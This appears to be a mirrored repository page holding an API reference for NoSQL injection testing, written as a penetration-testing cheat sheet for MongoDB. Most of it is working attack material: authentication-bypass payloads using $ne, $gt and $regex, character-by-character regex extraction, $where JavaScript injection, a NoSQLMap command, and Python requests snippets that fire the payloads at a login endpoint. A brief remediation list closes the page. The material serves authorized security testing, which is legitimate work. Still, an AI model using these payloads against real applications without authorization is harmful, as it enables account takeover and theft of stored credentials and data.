mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-11 21:54:56 +03:00
c21af3347e
- Add scripts/agent.py and references/api-reference.md to all remaining skills - Update all 648 LICENSE files: copyright now reads 'Mahipal' - Add implementing-security-monitoring-with-datadog (new skill with full anatomy) - All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
2.2 KiB
2.2 KiB
API Reference: NoSQL Injection Testing
MongoDB Query Operators
| Operator | Description | Injection Use |
|---|---|---|
$ne |
Not equal | Bypass authentication |
$gt |
Greater than | Extract data |
$regex |
Regular expression | Pattern matching |
$exists |
Field exists | Enumerate fields |
$where |
JavaScript expression | Code execution |
$or |
Logical OR | Logic bypass |
Authentication Bypass Payloads
GET Parameters
?username[$ne]=&password[$ne]=
?username=admin&password[$gt]=
?username[$regex]=admin.*&password[$ne]=
JSON Body
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
Data Extraction
Regex-Based Extraction
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
{"username": {"$regex": "^ad"}, "password": {"$ne": ""}}
{"username": {"$regex": "^adm"}, "password": {"$ne": ""}}
$where JavaScript Injection
{"$where": "this.username == 'admin' && this.password.match(/^a/)"}
Error-Based Detection
MongoDB Error Messages
| Error | Indicator |
|---|---|
MongoError |
MongoDB driver error |
CastError |
Invalid ObjectId |
BSONTypeError |
Invalid BSON type |
SyntaxError |
JavaScript parse error |
Testing Tools
NoSQLMap
python nosqlmap.py --url http://target/api/login --method POST \
--data '{"username":"test","password":"test"}'
Burp Suite Intruder
Use NoSQL payload wordlist with parameter fuzzing.
Python requests Testing
GET Injection
import requests
url = "http://target/api/users"
resp = requests.get(f"{url}?username[$ne]=&password[$ne]=")
JSON Injection
payload = {"username": {"$ne": ""}, "password": {"$ne": ""}}
resp = requests.post(url, json=payload)
Remediation
- Use parameterized queries (never concatenate user input)
- Validate input types (reject objects where strings expected)
- Use
mongo-sanitizeor equivalent input sanitization - Disable
$whereoperator if not needed - Implement proper authentication (don't rely on query-level checks)